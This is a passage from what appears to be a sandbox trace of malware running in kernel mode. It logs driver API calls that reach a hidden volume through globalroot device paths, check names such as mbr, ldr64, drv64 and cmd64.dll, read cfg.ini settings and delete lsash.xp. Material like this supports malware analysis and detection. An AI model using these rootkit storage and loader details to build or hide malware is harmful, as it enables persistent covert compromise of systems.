VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.400] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.400] IdePortDispatch () returned 0x103 [0129.400] KeWaitForMutexObject () returned 0x0 [0129.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.400] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.400] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.400] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.400] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.400] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c041f0 [0129.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.400] KeLeaveCriticalRegion () [0129.400] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.400] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.400] KeEnterCriticalRegion () [0129.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.400] KeLeaveCriticalRegion () [0129.400] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.400] KeEnterCriticalRegion () [0129.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.400] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.400] IdePortDispatch () returned 0x103 [0129.401] KeWaitForMutexObject () returned 0x0 [0129.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.401] KeLeaveCriticalRegion () [0129.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.401] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.401] KeEnterCriticalRegion () [0129.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be7000 [0129.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.401] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.401] IdePortDispatch () returned 0x103 [0129.401] KeWaitForMutexObject () returned 0x0 [0129.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.401] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.401] IdePortDispatch () returned 0x103 [0129.401] KeWaitForMutexObject () returned 0x0 [0129.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.402] KeLeaveCriticalRegion () [0129.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.402] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.402] KeEnterCriticalRegion () [0129.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.402] KeLeaveCriticalRegion () [0129.402] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.402] KeEnterCriticalRegion () [0129.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.402] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.402] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.402] KeLeaveCriticalRegion () [0129.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.402] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.403] KeEnterCriticalRegion () [0129.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.403] ExFreePoolWithTag (P=0xfffffa8003c041f0, Tag=0x0) [0129.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.403] KeLeaveCriticalRegion () [0129.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.403] ReleaseMutex (hMutex=0xf0) returned 1 [0129.403] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.403] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.403] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.403] KeEnterCriticalRegion () [0129.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.403] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.403] IdePortDispatch () returned 0x103 [0129.403] KeWaitForMutexObject () returned 0x0 [0129.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.403] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.403] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.403] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.403] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.403] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.403] KeLeaveCriticalRegion () [0129.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.403] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.403] KeEnterCriticalRegion () [0129.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.404] KeLeaveCriticalRegion () [0129.404] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.404] KeEnterCriticalRegion () [0129.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.404] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.404] IdePortDispatch () returned 0x103 [0129.404] KeWaitForMutexObject () returned 0x0 [0129.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.404] KeLeaveCriticalRegion () [0129.404] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.404] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.404] KeEnterCriticalRegion () [0129.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.404] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be8000 [0129.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.404] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.404] IdePortDispatch () returned 0x103 [0129.404] KeWaitForMutexObject () returned 0x0 [0129.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.405] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.405] IdePortDispatch () returned 0x103 [0129.405] KeWaitForMutexObject () returned 0x0 [0129.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.405] KeLeaveCriticalRegion () [0129.405] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.405] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.405] KeEnterCriticalRegion () [0129.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.405] KeLeaveCriticalRegion () [0129.405] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.406] KeEnterCriticalRegion () [0129.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.406] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.406] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.406] KeLeaveCriticalRegion () [0129.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.406] KeEnterCriticalRegion () [0129.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.406] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.406] KeLeaveCriticalRegion () [0129.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.406] ReleaseMutex (hMutex=0xf0) returned 1 [0129.406] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.406] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.406] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.406] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.406] KeEnterCriticalRegion () [0129.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.406] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.406] IdePortDispatch () returned 0x103 [0129.406] KeWaitForMutexObject () returned 0x0 [0129.406] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.406] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.406] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.406] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.406] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.406] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.407] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.407] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.407] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.407] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.407] KeLeaveCriticalRegion () [0129.407] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.407] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.407] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.407] KeEnterCriticalRegion () [0129.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.407] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.407] IdePortDispatch () returned 0x103 [0129.407] KeWaitForMutexObject () returned 0x0 [0129.407] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.407] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.407] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.407] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.407] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.407] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.407] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.407] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.407] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.407] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.407] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.408] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.408] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.408] KeLeaveCriticalRegion () [0129.408] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.408] ReleaseMutex (hMutex=0x100) returned 1 [0129.408] Sleep (dwMilliseconds=0x2bf20) [0129.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7055a6d0, dwHighDateTime=0x1d24fa4)) [0129.415] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.415] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.416] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.416] KeEnterCriticalRegion () [0129.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.416] IdePortDispatch () returned 0x103 [0129.416] KeWaitForMutexObject () returned 0x0 [0129.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.416] KeLeaveCriticalRegion () [0129.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.416] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.416] KeEnterCriticalRegion () [0129.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.416] KeLeaveCriticalRegion () [0129.416] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.416] KeEnterCriticalRegion () [0129.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.416] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.416] IdePortDispatch () returned 0x103 [0129.417] KeWaitForMutexObject () returned 0x0 [0129.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.417] KeLeaveCriticalRegion () [0129.417] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.417] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.417] KeEnterCriticalRegion () [0129.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000beb000 [0129.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.417] IdePortDispatch () returned 0x103 [0129.417] KeWaitForMutexObject () returned 0x0 [0129.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.417] MmProbeAndLockPages (in: 